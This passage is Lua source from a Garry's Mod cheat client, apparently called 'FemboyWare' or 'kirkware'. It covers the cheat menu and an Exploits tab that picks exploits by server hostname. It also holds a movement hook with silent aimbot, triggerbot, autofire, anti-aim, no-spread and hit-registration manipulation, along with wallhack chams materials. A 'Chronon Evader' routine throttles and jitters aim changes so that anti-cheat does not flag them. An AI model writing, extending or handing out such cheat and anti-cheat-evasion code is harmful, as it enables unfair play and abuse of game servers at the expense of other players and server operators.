config.musicCustomURL = text
PlayCheatMusic(text)
sNotify:Notify("FemboyWare", "Loading custom track...", 3)
end,
function() end
)
else
local url = musicTracks[v]
if url then
PlayCheatMusic(url)
sNotify:Notify("FemboyWare", "Loading track: " .. v, 3)
end
end
end)
MiscVM:Dropdown("Playback Mode", {"In Order", "Random", "Repeat"}, config.musicPlaybackMode, function(v)
config.musicPlaybackMode = v
sNotify:Notify("FemboyWare", "Playback mode set to: " .. v, 3)
end)
MiscVM:Slider("Music Volume", 0, 1000, config.musicVolume, 5, function(v)
config.musicVolume = v
if IsValid(state.currentStation) then
state.currentStation:SetVolume(v / 100)
end
end)
-- Exploits Tab
local ExploitsTab = Tab("exploits")
local ExploitsInfo = ExploitsTab:Group("Server Info", "left")
local serverName = GetHostName()
if #serverName > 26 then serverName = string.sub(serverName, 1, 26) .. "..." end
ExploitsInfo:Label("Server: " .. serverName)
local ExploitsAvail = ExploitsTab:Group("Available Exploits", "left")
local hostname = GetHostName()
local foundExploits = false
for pattern, exploits in pairs(ExploitsDB) do
if string.find(hostname, pattern) then
foundExploits = true
for _, exploit in ipairs(exploits) do
if exploit.type == "toggle" then
ExploitsAvail:Toggle(exploit.name, config[exploit.configKey], function(v)
config[exploit.configKey] = v
end)
else
local btn = ExploitsAvail:Button(exploit.name, function()
exploit.func()
end)
local orig = btn.callback
btn.callback = function()
btn.active = true
orig()
end
end
end
break
end
end
if not foundExploits then
ExploitsAvail:Label("No Exploits!")
end
-- Friends Tab
local FriendsTab = Tab("friends")
local FriendsGroup = FriendsTab:Group("Players", "left")
FriendsGroup:FriendsList()
local FriendsInfoGroup = FriendsTab:Group("Info & Settings", "right")
FriendsInfoGroup:Toggle("Target Enemies Only", config.targetEnemiesOnly, function(v)
config.targetEnemiesOnly = v
end)
FriendsInfoGroup:Separator("Selected Player Info")
FriendsInfoGroup:FriendsInfo()
-- Config Tab
local ConfigTab = Tab("config")
local ConfigGroup = ConfigTab:Group("Manager", "left")
ConfigGroup:ConfigList()
end
InitMenu()
timer.Simple(1, function()
if file.Exists("advdupe2/default.vtf", "DATA") then
kirkware_v4_Load("default")
-- Init watermark if needed after load
if config.showWatermark then CreateWatermark() end
end
end)
--------------------------------------------------------------------------------
-- CHRONON EVADER
--------------------------------------------------------------------------------
local function ChrononEvader(cmd)
if not config.chrononEvader then
state.lastChrononSent = nil
state.lastTickDegrees = 0
return
end
local ply = LocalPlayer()
if not IsValid(ply) then return end
local cmd_num = cmd:CommandNumber()
local angles = cmd:GetViewAngles()
angles:Normalize()
-- Reset/Init state
if not ply:Alive() or not state.lastChrononSent then
state.lastChrononSent = Angle(angles.p, angles.y, 0)
state.lastChrononCmd = cmd_num
state.lastTickDegrees = 0
return
end
if cmd_num <= state.lastChrononCmd and cmd_num ~= 0 then
return
end
local teleportDelta = math.abs(math.NormalizeAngle(angles.y - state.lastChrononSent.y))
if teleportDelta > 110 then
state.lastChrononSent = Angle(angles.p, angles.y, 0)
state.lastChrononCmd = cmd_num
state.lastTickDegrees = 0
return
end
local dp = math.NormalizeAngle(angles.p - state.lastChrononSent.p)
local dy = math.NormalizeAngle(angles.y - state.lastChrononSent.y)
local dist = math.abs(dp) + math.abs(dy)
local limit = 4.0
if IsValid(state.currentTarget) and dist > limit then
local scale = limit / dist
angles.p = math.NormalizeAngle(state.lastChrononSent.p + dp * scale)
angles.y = math.NormalizeAngle(state.lastChrononSent.y + dy * scale)
end
angles.r = 0
angles.p = math.Clamp(angles.p, -89, 89)
local m_limit = 0.005
local d_act_p = math.abs(math.NormalizeAngle(angles.p - state.lastChrononSent.p))
local d_act_y = math.abs(math.NormalizeAngle(angles.y - state.lastChrononSent.y))
if d_act_p > 0 and d_act_p < m_limit then
angles.p = math.NormalizeAngle(state.lastChrononSent.p + (dp >= 0 and m_limit or -m_limit) + math.Rand(0.001, 0.002))
end
if d_act_y > 0 and d_act_y < m_limit then
angles.y = math.NormalizeAngle(state.lastChrononSent.y + (dy >= 0 and m_limit or -m_limit) + math.Rand(0.001, 0.01))
end
cmd:SetViewAngles(angles)
-- Final tick accounting
if cmd_num ~= 0 then
state.lastTickDegrees = math.abs(math.NormalizeAngle(angles.p - state.lastChrononSent.p))
+ math.abs(math.NormalizeAngle(angles.y - state.lastChrononSent.y))
state.lastChrononSent = Angle(angles.p, angles.y, 0)
state.lastChrononCmd = cmd_num
end
end
--------------------------------------------------------------------------------
-- HOOKS & LOGIC
--------------------------------------------------------------------------------
local freecamPos = Vector(0, 0, 0)
local freecamAngles = Angle(0, 0, 0)
local freecamLockAngles = Angle(0, 0, 0)
local function RageFixMovement(cmd, viewangles)
local move = Vector(cmd:GetForwardMove(), cmd:GetSideMove(), 0)
local moveAng = move:Angle()
local viewAng = cmd:GetViewAngles()
local diff = math.AngleDifference(viewAng.y, viewangles.y)
local yaw = math.rad(diff)
local cos = math.cos(yaw)
local sin = math.sin(yaw)
local forward = move.x * cos - move.y * sin
local side = move.x * sin + move.y * cos
cmd:SetForwardMove(forward)
cmd:SetSideMove(side)
end
local function FixMovement(cmd, viewangles)
if config.movementFixMode == "None" then return end
if config.movementFixMode == "Legit" then
LegitFixMovement(cmd, viewangles)
else
RageFixMovement(cmd, viewangles)
end
end
IN_LEYHITREG1 = bit.lshift(1, 27)
hook.Add("InputMouseApply", "SilentAimSmooth", function(cmd, x, y, ang)
if config.aimMethod == "Silent" and state.viewAngles then
local m_pitch = GetConVar("m_pitch"):GetFloat()
local m_yaw = GetConVar("m_yaw"):GetFloat()
state.viewAngles.p = state.viewAngles.p + (y * m_pitch)
state.viewAngles.y = state.viewAngles.y - (x * m_yaw)
state.viewAngles.p = math.Clamp(state.viewAngles.p, -89, 89)
state.viewAngles.y = math.NormalizeAngle(state.viewAngles.y)
return true
end
end)
hook.Add("CreateMove", "tapeverythingevenssc", function(cmd)
local ply = LocalPlayer()
if not IsValid(ply) or not ply:Alive() then
state.viewAngles = nil
return
end
local wep = ply:GetActiveWeapon()
-- Thirdperson Toggle Logic
if config.thirdperson and input.IsButtonDown(config.binds.thirdperson) then
if (CurTime() - state.lastToggleTime) > 0.2 then
state.thirdpersonActive = not state.thirdpersonActive
state.lastToggleTime = CurTime()
end
end
-- Freecam Toggle Logic
if config.freecam and input.IsButtonDown(config.binds.freecam) then
if (CurTime() - state.freecamLastToggle) > 0.3 then
state.freecamActive = not state.freecamActive
state.freecamLastToggle = CurTime()
if state.freecamActive then
freecamPos = ply:EyePos()
freecamAngles = ply:EyeAngles()
freecamAngles.r = 0
freecamLockAngles = Angle(freecamAngles.p, freecamAngles.y, 0)
end
end
end
-- Freecam movement: block player input and drive camera from mouse
if state.freecamActive then
local speed = config.freecamSpeed
if input.IsKeyDown(KEY_LSHIFT) then speed = speed * 2.5 end
if input.IsKeyDown(KEY_W) then freecamPos = freecamPos + freecamAngles:Forward() * speed end
if input.IsKeyDown(KEY_S) then freecamPos = freecamPos - freecamAngles:Forward() * speed end
if input.IsKeyDown(KEY_A) then freecamPos = freecamPos - freecamAngles:Right() * speed end
if input.IsKeyDown(KEY_D) then freecamPos = freecamPos + freecamAngles:Right() * speed end
if input.IsKeyDown(KEY_SPACE) then freecamPos = freecamPos + Vector(0, 0, speed) end
if input.IsKeyDown(KEY_LCONTROL) then freecamPos = freecamPos - Vector(0, 0, speed) end
local sens = GetConVar("sensitivity"):GetFloat()
local m_pitch = GetConVar("m_pitch"):GetFloat()
local m_yaw = GetConVar("m_yaw"):GetFloat()
freecamAngles.p = math.Clamp(freecamAngles.p + cmd:GetMouseY() * m_pitch * sens, -89, 89)
freecamAngles.y = math.NormalizeAngle(freecamAngles.y - cmd:GetMouseX() * m_yaw * sens)
freecamAngles.r = 0
cmd:SetForwardMove(0)
cmd:SetSideMove(0)
cmd:SetUpMove(0)
cmd:SetViewAngles(freecamLockAngles)
cmd:RemoveKey(IN_JUMP)
cmd:RemoveKey(IN_DUCK)
cmd:RemoveKey(IN_ATTACK)
cmd:RemoveKey(IN_ATTACK2)
return
end
if config.chrononEvader and IsValid(state.currentTarget) then
cmd:SetMouseX(0)
cmd:SetMouseY(0)
end
C_CreateMove.m_flServerTime = cmd:TickCount() * engine.TickInterval()
if config.enableAnimPrediction then
for _, target in pairs(player.GetAll()) do
if target ~= ply and target:Alive() and not target:IsDormant() then
if config.animPredictionMode == 0 then
local id = target:EntIndex()
if not MultiplayerAnimState.Instances[id] then
MultiplayerAnimState:Create(id, target)
end
MultiplayerAnimState:UpdateEyeAngles(id)
MultiplayerAnimState:UpdateAnimationState(id)
MultiplayerAnimState:ApplyCachedPoseParameters(id)
elseif config.animPredictionMode == 1 then
-- Server Predicted (brokenish)
target:SetSequence(target:GetSequence())
target:SetCycle(target:GetCycle())
target:SetAnimTime(C_CreateMove.m_flServerTime)
end
target:InvalidateBoneCache()
target:SetupBones()
end
end
end
if config.bhop and input.IsKeyDown(KEY_SPACE) and ply:GetMoveType() ~= MOVETYPE_NOCLIP then
if config.autoStrafeMode == "Rage" then
if not ply:OnGround() then
if cmd:GetMouseX() < 0 then
cmd:SetSideMove(-450)
elseif cmd:GetMouseX() > 0 then
cmd:SetSideMove(450)
end
end
elseif config.autoStrafeMode == "Directional" and not ply:OnGround() then
local flMaxSideMove = 450
local vMove = Vector(flMaxSideMove, 0, 0)
local qMoveAngle = vMove:Angle()
local qOmniAngle = Vector(cmd:GetForwardMove(), cmd:GetSideMove(), 0):Angle()
qMoveAngle.y = qMoveAngle.y + qOmniAngle.y
local vVelocity = ply:GetVelocity()
vVelocity.z = 0
local qDirection = vVelocity:Angle()
qDirection = qDirection + qOmniAngle
qDirection.y = math.NormalizeAngle(qDirection.y)
local flVeloDiff = math.AngleDifference(cmd:GetViewAngles().y, qDirection.y)
flVeloDiff = math.NormalizeAngle(flVeloDiff)
if flVeloDiff > 0 then
qMoveAngle.y = qMoveAngle.y + (-90 + flVeloDiff)
elseif flVeloDiff < 0 then
qMoveAngle.y = qMoveAngle.y + (90 + flVeloDiff)
else
qMoveAngle.y = qMoveAngle.y + (flVeloDiff + (cmd:CommandNumber() % 2 == 0 and 90 or -90))
end
vMove = (qMoveAngle):Forward()
vMove:Mul(flMaxSideMove)
cmd:SetForwardMove(vMove.x)
cmd:SetSideMove(vMove.y)
end
if config.autoStrafeMode ~= "None" then
FixMovement(cmd, ply:EyeAngles())
end
end
ProcessBHOP(cmd)
if config.aimMethod == "Silent" or config.antiAim then
if not state.viewAngles then state.viewAngles = cmd:GetViewAngles() end
if config.aimMethod == "Silent" and cmd:CommandNumber() == 0 then
cmd:SetViewAngles(state.viewAngles)
return
end
end
if not IsValid(wep) then return end
if config.triggerbot and IsBindActive(config.binds.triggerbot) then
local tr = util.TraceLine({
start = ply:EyePos(),
endpos = ply:EyePos() + (cmd:GetViewAngles():Forward() * 8192),
filter = ply
})
if IsValid(tr.Entity) and (tr.Entity:IsPlayer() or tr.Entity:IsNextBot()) and tr.Entity:Health() > 0 then
cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK))
end
end
local forceRapidMouse1 = false
local shouldAim = input.IsMouseDown(MOUSE_LEFT)
local autoFiring = false
if config.autofire then
shouldAim = false
if IsBindActive(config.binds.autofire) then
shouldAim = true
if cmd:CommandNumber() % 2 == 0 then
autoFiring = true
else
cmd:SetButtons(bit.band(cmd:GetButtons(), bit.bnot(IN_ATTACK)))
end
end
end
local bestTarget = nil
local bestBoneID = 6
if shouldAim and wep:GetClass() ~= "fatals_grapple_hook" then
if config.autoReload and wep:Clip1() == 0 then
cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_RELOAD))
end
if not autoFiring then
if state.isResetting and CurTime() < state.resetEndTime then
-- return -- Don't return, just skip aiming
elseif state.isResetting then
state.isResetting = false
state.shotCount = 0
end
if not state.isResetting then
state.shotCount = state.shotCount + 1
if state.shotCount >= config.shotsBeforeReset then
state.isResetting = true
state.resetEndTime = CurTime() + config.resetDuration
end
end
end
if not state.isResetting then
cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_LEYHITREG1))
local bestScore = -math.huge
local plyPos = ply:EyePos()
for _, target in pairs(player.GetAll()) do
if target ~= ply and target:Alive() and target:Health() > 0 then
if target:InVehicle() then continue end
if config.ignoreDormant and target:IsDormant() then continue end
if table_contains(config.aimIgnore, "Invisible") and (target:GetNoDraw() or target:GetColor().a <= 10) then continue end
if table_contains(config.aimIgnore, "Sitting") and target:InVehicle() then continue end
if table_contains(config.aimIgnore, "Noclipped") and target:GetMoveType() == MOVETYPE_NOCLIP then continue end
if table_contains(config.aimIgnore, "Godmode") and target:HasGodMode() then continue end
if table_contains(config.aimIgnore, "Builder") and isBuilding(target) then continue end
if table_contains(config.aimIgnore, "Same Team") and target:Team() == ply:Team() then continue end
local friendStatus = config.friends[target:SteamID64() or "BOT"]
if friendStatus == "Friend" then continue end
if config.targetEnemiesOnly and friendStatus ~= "Enemy" then continue end
if not ShouldTargetCN(target) then continue end
local aimPos, boneID = GetAimPosition(target)
if not aimPos then continue end
local dist = plyPos:Distance(aimPos)
if dist > config.maxDistance then continue end
if not IsInFOV(aimPos) then continue end
-- IsVisible handled by GetAimPosition
local screenPos = aimPos:ToScreen()
local centerX, centerY = ScrW() / 2, ScrH() / 2
local screenDist = math.sqrt((screenPos.x - centerX)^2 + (screenPos.y - centerY)^2)
local radius = GetFOVRadius()
local score = (1000 / math.max(dist, 1)) * (radius / math.max(screenDist, 1))
if not target:Crouching() then score = score * 1.2 end
if score > bestScore then
bestScore = score
bestTarget = target
bestBoneID = boneID
end
end
end
end
end
state.currentTarget = bestTarget
if IsValid(bestTarget) then
state.lastTargets[bestTarget] = {
time = CurTime(),
pos = GetAimPosition(bestTarget),
bone = bestBoneID
}
local aimPos = GetAimPosition(bestTarget)
local targetAng = (aimPos - ply:EyePos()):Angle()
local class = wep:GetClass()
if string.StartWith(class, "cw") or string.StartWith(class, "swb") or wep.VGUN or string.StartWith(class, "vguns_") or string.StartWith(class, "vwar_") or class == "weapon_ar2" or class == "weapon_smg1" then
targetAng = targetAng - ply:GetViewPunchAngles()
targetAng:Normalize()
end
if config.aimMethod == "Silent" then
cmd:SetViewAngles(targetAng)
FixMovement(cmd, state.viewAngles)
else
state.viewAngles = nil
if config.aimSmoothingVal > 0 then
local currentAng = cmd:GetViewAngles()
local smoothFactor = config.aimSmoothingVal
local deltaP = math.NormalizeAngle(targetAng.p - currentAng.p)
local deltaY = math.NormalizeAngle(targetAng.y - currentAng.y)
local stepP = deltaP / smoothFactor
local stepY = deltaY / smoothFactor
targetAng = Angle(currentAng.p + stepP, currentAng.y + stepY, 0)
targetAng:Normalize()
local eyes = ply:EyePos()
local forward = currentAng:Forward()
local tr = util.TraceLine({
start = eyes,
endpos = eyes + (forward * 8192),
filter = ply,
mask = MASK_SHOT
})
local isAligned = IsValid(tr.Entity) and (tr.Entity:IsPlayer() or tr.Entity:IsNextBot()) and tr.Entity:Health() > 0
if isAligned then
if state.aimAlignedTime == 0 then
state.aimAlignedTime = CurTime()
end
if (CurTime() - state.aimAlignedTime) >= 0.02 then
state.suppressFire = false
else
state.suppressFire = true
end
else
state.aimAlignedTime = 0
state.suppressFire = true
end
else
state.suppressFire = false
end
cmd:SetViewAngles(targetAng)
end
if autoFiring or forceRapidMouse1 then
local isSemi = true
-- standard detection
if wep.Primary and wep.Primary.Automatic then
isSemi = false
end
if wep.SelectiveFire and wep.Primary and wep.Primary.Automatic then
isSemi = false
end
-- hardcoded list
local autolist = {
["weapon_smg1"] = true,
["weapon_ar2"] = true,
}
if autolist[wep:GetClass()] then
isSemi = false
end
-- ArcCW
if wep.ArcCW then
local fm = wep:GetCurrentFiremode()
if fm then
if fm.Mode == 2 then isSemi = false elseif fm.Mode == 1 then isSemi = true end
end
end
if isSemi then
if wep:GetNextPrimaryFire() <= CurTime() then -- GetNextPrimaryFire so it doesnt flag AC
cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK))
else
cmd:SetButtons(bit.band(cmd:GetButtons(), bit.bnot(IN_ATTACK)))
end
else
cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK))
end
end
if state.suppressFire then
cmd:SetButtons(bit.band(cmd:GetButtons(), bit.bnot(IN_ATTACK)))
end
if config.showFOV and math.random(1, 20) == 1 then
--[[ print(string.format("Targeting: %s (Bone: %d, Dist: %.0f)",
bestTarget:Nick(), bestBoneID, ply:EyePos():Distance(aimPos))) ]]
end
else
if config.aimMethod ~= "Silent" and not config.antiAim then
state.viewAngles = nil
else
if state.viewAngles then cmd:SetViewAngles(state.viewAngles) end
end
state.suppressFire = false
-- AA
if config.antiAim and bit.band(cmd:GetButtons(), IN_ATTACK) == 0 then -- stop missing
local aaAngles = cmd:GetViewAngles()
-- Yaw AA
if config.antiAimYaw == "Backwards" then
aaAngles.y = aaAngles.y + 180
elseif config.antiAimYaw == "Spin" then
aaAngles.y = (CurTime() * (config.antiAimSpeed * 100)) % 360
elseif config.antiAimYaw == "Jitter" then
aaAngles.y = aaAngles.y + (math.random(1, 2) == 1 and 90 or -90)
elseif config.antiAimYaw == "Sideways" then
aaAngles.y = aaAngles.y + (math.random(1, 2) == 1 and 90 or 270)
end
-- Pitch AA
if config.antiAimPitch == "Down" then
aaAngles.p = 89
elseif config.antiAimPitch == "Up" then
aaAngles.p = -89
elseif config.antiAimPitch == "Jitter" then
aaAngles.p = (math.random(1, 2) == 1 and 89 or -89)
end
aaAngles:Normalize()
aaAngles:Normalize()
cmd:SetViewAngles(aaAngles)
state.lastAA = aaAngles
FixMovement(cmd, state.viewAngles or ply:EyeAngles())
end
state.isFiring = bit.band(cmd:GetButtons(), IN_ATTACK) ~= 0
end
-- leyhitreg p100
if IsValid(bestTarget) and bit.band(cmd:GetButtons(), IN_ATTACK) ~= 0 then
cmd:SetUpMove(bestTarget:EntIndex())
cmd:SetMouseWheel(bestBoneID or 6)
end
-- Chronon Evader (Sanitize Final Desired Angles)
ChrononEvader(cmd)
-- Apply NoSpread after ChrononEvader to ensure compensation isn't clamped
if config.noSpread and bit.band(cmd:GetButtons(), IN_ATTACK) ~= 0 then
local currentAng = cmd:GetViewAngles()
local compensatedAng = PredictSpread(cmd, currentAng)
if compensatedAng ~= currentAng then
cmd:SetViewAngles(compensatedAng)
-- Re-fix movement for silent aim if we adjusted angles
if config.aimMethod == "Silent" and state.viewAngles then
FixMovement(cmd, state.viewAngles)
end
end
end
return
end)
hook.Add("CalcView", "kirkware_freecam", function(ply, pos, angles, fov)
if not state.freecamActive then return end
return {
origin = freecamPos,
angles = freecamAngles,
fov = fov,
drawviewer = true,
}
end)
--------------------------------------------------------------------------------
-- CHAMS IMPLEMENTATION
--------------------------------------------------------------------------------
local CustomMats = {
["flat"] = {
imat = CreateMaterial("flat_occ " .. tostring(math.random(-10000, 10000)), "UnlitGeneric", {
["$additive"] = "1",
["$ignorez"] = 0,
["$basetexture"] = "vgui/white_additive",
["$bumpmap"] = "vgui/white_additive",
["$selfillum"] = "1",
["$selfIllumFresnel"] = "1",
["$selfIllumFresnelMinMaxExp"] = "[0 0.18 0.6]",
["$selfillumtint"] = "[0 0 0]"
}),
vmat = CreateMaterial("flat_vis " .. tostring(math.random(-10000, 10000)), "UnlitGeneric", {
["$additive"] = "0",
["$ignorez"] = 0,
["$basetexture"] = "vgui/white_additive",
["$bumpmap"] = "vgui/white_additive",
["$selfillum"] = "1",
["$selfIllumFresnel"] = "1",
["$selfIllumFresnelMinMaxExp"] = "[0 0.18 0.6]",
["$selfillumtint"] = "[0 0 0]"
})
},
["metallic"] = {
imat = CreateMaterial("metallic_occ " .. tostring(math.random(-10000, 10000)), "VertexLitGeneric", {
["$basetexture"] = "vgui/white_additive",
["$envmap"] = "env_cubemap",
["$normalmapalphaenvmapmask"] = 1,
["$envmapcontrast"] = 1,
["$nofog"] = 1,
["$model"] = 1,
["$nocull"] = 0,
["$selfillum"] = 1,
["$halflambert"] = 1,
["$znearer"] = 0,
["$flat"] = 1,
["$ignorez"] = 1,
}),
vmat = CreateMaterial("metallic_vis " .. tostring(math.random(-10000, 10000)), "VertexLitGeneric", {
["$basetexture"] = "vgui/white_additive",
["$envmap"] = "env_cubemap",
["$normalmapalphaenvmapmask"] = 1,
["$envmapcontrast"] = 1,
["$nofog"] = 1,
["$model"] = 1,
["$nocull"] = 0,
["$selfillum"] = 1,
["$halflambert"] = 1,
["$znearer"] = 0,
["$flat"] = 1,
["$ignorez"] = 0,
})
},
["glow"] = {
imat = CreateMaterial("glow_occ " .. tostring(math.random(-10000, 10000)), "VertexLitGeneric", {
["$basetexture"] = "vgui/white_additive",
["$bumpmap"] = "vgui/white_additive",
["$model"] = "1",
["$nocull"] = "1",
["$nodecal"] = "1",
["$additive"] = "1",
["$selfillum"] = 1,
["$selfIllumFresnel"] = 1,
["$selfIllumFresnelMinMaxExp"] = "[0.0 0.3 0.6]",
["$selfillumtint"] = "[0 0 0]",
}),
vmat = CreateMaterial("glow_vis " .. tostring(math.random(-10000, 10000)), "VertexLitGeneric", {
["$basetexture"] = "vgui/white_additive",
["$bumpmap"] = "vgui/white_additive",
["$model"] = "1",
["$nocull"] = "0",
["$selfillum"] = 1,
["$selfIllumFresnel"] = 1,
["$selfIllumFresnelMinMaxExp"] = "[0.0 0.3 0.6]",
["$selfillumtint"] = "[0 0 0]",
})
},
["glowframe"] = {
vmat = CreateMaterial("glowframe_vis " .. tostring(math.random(-10000, 10000)), "VertexLitGeneric", {
["$basetexture"] = "vgui/white_additive",
["$nocull"] = 1,
["$wireframe"] = 1,
["$additive"] = 1,
["$envmap"] = "vgui/white_additive",
["$envmaptint"] = "[1 1 1]",
["$envmapfresnel"] = 1,
["$phong"] = 1,
["$envmapfresnelminmaxexp"] = "[0 2 4]",
["$envmapanisotropy"] = 1,
["$envmapanisotropyscale"] = 5,
["$alpha"] = 1,
}),
imat = CreateMaterial("glowframe_occ " .. tostring(math.random(-10000, 10000)), "VertexLitGeneric", {
["$basetexture"] = "vgui/white_additive",
["$nocull"] = 1,
["$wireframe"] = 1,
["$additive"] = 1,
["$envmap"] = "vgui/white_additive",
["$envmaptint"] = "[1 1 1]",
["$envmapfresnel"] = 1,
["$phong"] = 1,
["$envmapfresnelminmaxexp"] = "[0 2 4]",
["$envmapanisotropy"] = 1,
["$envmapanisotropyscale"] = 5,
["$ignorez"] = 1,
["$alpha"] = 1,
}),
},
["fireframe"] = {
vmat = CreateMaterial("fireframe_vis " .. tostring(math.random(-10000, 10000)), "VertexLitGeneric", {
["$nocull"] = 1,
["$wireframe"] = 1,
["$basetexture"] = "vgui/white_additive",
["$detail"] = "effects/tiledfire/firelayeredslowtiled512",
["$detailscale"] = 1,
["$detailblendmode"] = 0,
["$detailblendfactor"] = 4,
["$color2"] = "[7 7 7]",
["$selfillum"] = 1,
["$selfIllumFresnel"] = 1,
["$selfIllumFresnelMinMaxExp"] = "[0 .18 .1]",
["$selfillumtint"] = "[.1 .1 .1]",
["$alpha"] = .2,
["Proxies"] = {
["AnimatedTexture"] = {
["animatedtexturevar"] = "$detail",
["animatedtextureframenumvar"] = "$detailframe",
["animatedtextureframerate"] = 60,
},
},
}),
imat = CreateMaterial("fireframe_occ " .. tostring(math.random(-10000, 10000)), "VertexLitGeneric", {
["$nocull"] = 1,
["$wireframe"] = 1,
["$basetexture"] = "vgui/white_additive",
["$detail"] = "effects/tiledfire/firelayeredslowtiled512",
["$detailscale"] = 1,
["$detailblendmode"] = 0,
["$detailblendfactor"] = 4,
["$color2"] = "[7 7 7]",
["$selfillum"] = 1,
["$selfIllumFresnel"] = 1,
["$selfIllumFresnelMinMaxExp"] = "[0 .18 .1]",
["$selfillumtint"] = "[.1 .1 .1]",
["$alpha"] = .2,
["$ignorez"] = 1,
["Proxies"] = {
["AnimatedTexture"] = {
["animatedtexturevar"] = "$detail",
["animatedtextureframenumvar"] = "$detailframe",
["animatedtextureframerate"] = 60,
},
},
}),
},
["islandwater"] = {
vmat = CreateMaterial("islandwater_vis " .. tostring(math.random(-10000, 10000)), "VertexLitGeneric", {
["$basetexture"] = "water/island_water01_normal",
["$model"] = 1,
["$additive"] = 1,
["$nocull"] = 1,
["$alpha"] = 1,
["Proxies"] = {
["TextureScroll"] = {
["texturescrollvar"] = "$basetexturetransform",
["texturescrollrate"] = 1,
["texturescrollangle"] = math.abs(math.sin(CurTime() * 25) * 360),
},
},
}),
imat = CreateMaterial("islandwater_occ " .. tostring(math.random(-10000, 10000)), "VertexLitGeneric", {
["$basetexture"] = "water/island_water01_normal",
["$model"] = 1,
["$additive"] = 1,
["$nocull"] = 1,
["$alpha"] = 1,
["Proxies"] = {
["TextureScroll"] = {
["texturescrollvar"] = "$basetexturetransform",
["texturescrollrate"] = 1,
["texturescrollangle"] = math.abs(math.sin(CurTime() * 25) * 360),
},
},
["$ignorez"] = 1,
}),
},
["islandframe"] = {
vmat = CreateMaterial("islandframe_vis " .. tostring(math.random(-10000, 10000)), "VertexLitGeneric", {
["$wireframe"] = 1,
["$basetexture"] = "water/island_water01_normal",
["$model"] = 1,
["$additive"] = 1,
["$nocull"] = 1,
["$alpha"] = 1,
["Proxies"] = {
["TextureScroll"] = {
["texturescrollvar"] = "$basetexturetransform",
["texturescrollrate"] = 1,
["texturescrollangle"] = math.abs(math.sin(CurTime() * 25) * 360),
},
},
}),
imat = CreateMaterial("islandframe_occ " .. tostring(math.random(-10000, 10000)), "VertexLitGeneric", {
["$wireframe"] = 1,
["$basetexture"] = "water/island_water01_normal",
["$model"] = 1,
["$additive"] = 1,
["$nocull"] = 1,
["$alpha"] = 1,
["Proxies"] = {
["TextureScroll"] = {
["texturescrollvar"] = "$basetexturetransform",
["texturescrollrate"] = 1,
["texturescrollangle"] = math.abs(math.sin(CurTime() * 25) * 360),
},
},
["$ignorez"] = 1,
}),
},
["wireframe"] = {
imat = CreateMaterial("wireframe_occ " .. tostring(math.random(-10000, 10000)), "Wireframe", {
["$ignorez"] = 1
}),
vmat = CreateMaterial("wireframe_vis " .. tostring(math.random(-10000, 10000)), "Wireframe", {})
},
["whiteglow"] = {
vmat = CreateMaterial("whiteglow_vis " .. tostring(math.random(-10000, 10000)), "VertexLitGeneric", {
["$basetexture"] = "vgui/white_additive",
["$bumpmap"] = "vgui/white_additive",
["$model"] = "1",
["$nocull"] = "1",
["$selfillum"] = 1,
["$selfIllumFresnel"] = 1,
["$selfIllumFresnelMinMaxExp"] = "[0.0 0.3 0.6]",
["$selfillumtint"] = "[0 0 0]",
["$additive"] = "1"
})
},
["auraframe"] = {
vmat = CreateMaterial("auraframe_vis " .. tostring(math.random(-10000, 10000)), "VertexLitGeneric", {
["$basetexture"] = "dev/hemisphere_normal",
["$model"] = 1,
["$additive"] = 1,
["$wireframe"] = 1,
["Proxies"] = {
["TextureScroll"] = {
["texturescrollvar"] = "$basetexturetransform",
["texturescrollrate"] = 0.35,
["texturescrollangle"] = 100,
},
},
}),
imat = CreateMaterial("auraframe_occ " .. tostring(math.random(-10000, 10000)), "VertexLitGeneric", {
["$basetexture"] = "dev/hemisphere_normal",
["$model"] = 1,
["$additive"] = 1,
["$wireframe"] = 1,
["$ignorez"] = 1,
["Proxies"] = {
["TextureScroll"] = {
["texturescrollvar"] = "$basetexturetransform",
["texturescrollrate"] = 0.35,
["texturescrollangle"] = 100,
},
},
}),
},
}
local IsDrawingGlow = false
local chamsMaterialNames = { "flat", "metallic", "glow", "glowframe", "fireframe", "islandwater", "islandframe", "wireframe", "auraframe" }
local function GetChamsMaterial(isViewmodel, isInvisible)
local matIndex = config.chams.playerMaterial
if isViewmodel then matIndex = config.chams.playermodelMaterial end
matIndex = math.Clamp(matIndex, 1, #chamsMaterialNames)
local matName = chamsMaterialNames[matIndex]
local matTable = CustomMats[matName]
if not matTable then return CustomMats["flat"].vmat end
return isInvisible and matTable.imat or matTable.vmat
end
local function PreDrawChams()
if ss then return end
if not config.chams.enabled or not config.chams.playermodel then return end
if config.chams.ignoreArms then
if IsDrawingGlow then
local chamCol = config.chams.colors.playermodel
local chamMat = GetChamsMaterial(true, false)
render.SuppressEngineLighting(true)
render.SetColorModulation(chamCol.r / 255, chamCol.g / 255, chamCol.b / 255)
render.SetBlend(chamCol.a / 255)
render.MaterialOverride(chamMat)
else
render.SetBlend(0)
end
return
end
local chamCol = config.chams.colors.playermodel
local chamMat = GetChamsMaterial(true, false)
render.SuppressEngineLighting(true)
render.SetColorModulation(chamCol.r / 255, chamCol.g / 255, chamCol.b / 255)
render.SetBlend(chamCol.a / 255)
render.MaterialOverride(chamMat)
end
local function PostDrawChams()
if ss then return end
if not config.chams.enabled or not config.chams.playermodel then return end
if config.chams.ignoreArms then
render.SetColorModulation(1, 1, 1)
render.MaterialOverride(nil)
render.SetBlend(1)
render.SuppressEngineLighting(false)
if IsDrawingGlow then return end
local vm = LocalPlayer():GetViewModel()
if IsValid(vm) then
IsDrawingGlow = true
vm:DrawModel()
IsDrawingGlow = false
end
return
end
render.MaterialOverride(nil)
render.SetBlend(1)
render.SetColorModulation(1, 1, 1)
render.SuppressEngineLighting(false)
end
-- viewmodel
hook.Add("PreDrawViewModel", "vm_pre", PreDrawChams)
hook.Add("PostDrawViewModel", "vm_post", PostDrawChams)
-- hands
hook.Add("PreDrawPlayerHands", "hands_pre", function()
if ss then return end
if config.chams.enabled and config.chams.ignoreArms then
if IsDrawingGlow then return true end
render.SetBlend(1)
return
end
return PreDrawChams()
end)
hook.Add("PostDrawPlayerHands", "hands_post", PostDrawChams)
-- render
hook.Add("RenderScreenspaceEffects", "renderchams", function()
if ss then return end
if not config.chams.enabled or not config.chams.player then
for _, ply in pairs(player.GetAll()) do
if IsValid(ply) and ply ~= LocalPlayer() then
ply:SetRenderMode(0)
end
end
return
end
